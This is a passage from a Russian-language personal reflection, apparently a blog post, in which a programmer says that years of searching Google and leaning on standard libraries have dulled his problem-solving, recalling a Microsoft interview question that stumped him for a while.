… и всё это привело к тому, что я разучился думать. На любой технический вопрос я ищу ответ в гугле. Когда на собеседовании в Microsoft меня спросили, как выбрать из int ar[n] = {...} n-1 элементов так, чтобы произведение выбранных было максимальным, на некоторое время я впал в ступор. Первый вопрос, который возник в голове: "На*уя? Зачем?" Потом я попытался вспомнить подобный алгоритм из какой-нибудь стандартной библиотеки, которых я знаю не одну… и не смог. Задачу, в конечном итоге, я решил, но видимо не так легко, как этого ожидал интервьювер.

Я не плохой стандартный программист, умеющий быстро решать стандартные задачи. Я никогда не применяю нестандартное решение, до тех пор пока не изучу всю выдачу гугла до последней страницы. Я вообще не люблю писать исполняемый код, потому что я в нём постоянно делаю ошибки, которые потом нужно искать и исправлять. Я люблю дописывать xml-ные конфиги, идущие в пакете от разработчика.

Я стандартный программист. И это, пожалуй, даже не плохо. Но решать нестандартные инженерные задачи уже не могу с такой лёгкостью, как 4 года назад с совершенно пустой головой, не загруженной десятками тысяч страниц различных книг и мануалов.